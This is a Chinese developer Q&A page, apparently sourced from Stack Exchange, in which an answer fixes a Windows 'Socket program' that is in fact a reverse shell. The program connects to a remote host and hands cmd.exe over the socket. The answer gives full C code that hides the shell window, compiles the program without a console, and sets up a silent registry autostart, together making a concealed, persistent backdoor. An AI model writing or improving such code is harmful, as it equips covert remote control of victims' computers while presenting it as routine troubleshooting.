You need to enable JavaScript to run this app.
最新活动
大模型
产品
解决方案
定价
生态与合作
支持与服务
开发者
了解我们

Windows Socket程序隐藏控制台并保持连接的实现求助

解决Socket程序启动时弹出cmd.exe窗口的问题

我明白你遇到的困扰——你的Socket程序功能正常,但开机启动时总是弹出cmd窗口,哪怕编译成Win32 GUI程序也没解决。问题的核心其实不在你的程序本身的控制台,而是你代码里调用CreateProcess启动的cmd.exe窗口。下面给你具体的修复方案:

1. 隐藏cmd.exe的启动窗口

你当前的代码只是把cmd的标准句柄绑定到Socket,但没有设置隐藏它的窗口。需要修改STARTUPINFO的配置,并给CreateProcess加上隐藏窗口的标志:

修改RunSocket函数里的相关代码:

void RunSocket(char *a, char *b) {
 WSADATA wsaData;
 SOCKET Winsock;
 struct sockaddr_in hax;
 char ip_addr[16];
 STARTUPINFO ini_processo;
 PROCESS_INFORMATION processo_info;
 WSAStartup(MAKEWORD(2,2), &wsaData);
 Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
 struct hostent *host;
 host = gethostbyname(a);
 strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
 hax.sin_family = AF_INET;
 hax.sin_port = htons(atoi(b));
 hax.sin_addr.s_addr =inet_addr(ip_addr);
 WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);
 memset(&ini_processo, 0, sizeof(ini_processo));
 ini_processo.cb=sizeof(ini_processo);
 // 同时启用标准句柄和窗口显示设置
 ini_processo.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
 ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
 ini_processo.wShowWindow = SW_HIDE; // 隐藏cmd窗口
 // 加上CREATE_NO_WINDOW标志,确保不弹出控制台
 CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info);
}

2. 确保程序本身以GUI模式编译

虽然你说已经编译成Win32 GUI,但再确认一下编译选项:

  • 如果用Visual Studio,在项目属性里找到链接器 -> 系统 -> 子系统,选择Windows (/SUBSYSTEM:WINDOWS),而不是Console (/SUBSYSTEM:CONSOLE)
  • 如果用GCC编译,加上-mwindows参数,这样程序启动时不会创建自己的控制台窗口。

3. 检查注册表启动项

确保你添加到注册表的启动命令是直接调用script.exe 192.168.1.1 9880,不要用cmd /c script.exe ...这种形式——后者会额外启动一个cmd进程来执行你的程序,也可能导致弹窗。

这样修改后,你的Socket连接功能会保持正常,同时无论是程序本身还是启动的cmd.exe都不会弹出窗口了。

内容的提问来源于stack exchange,提问作者Brian Jarcus

火山引擎 最新活动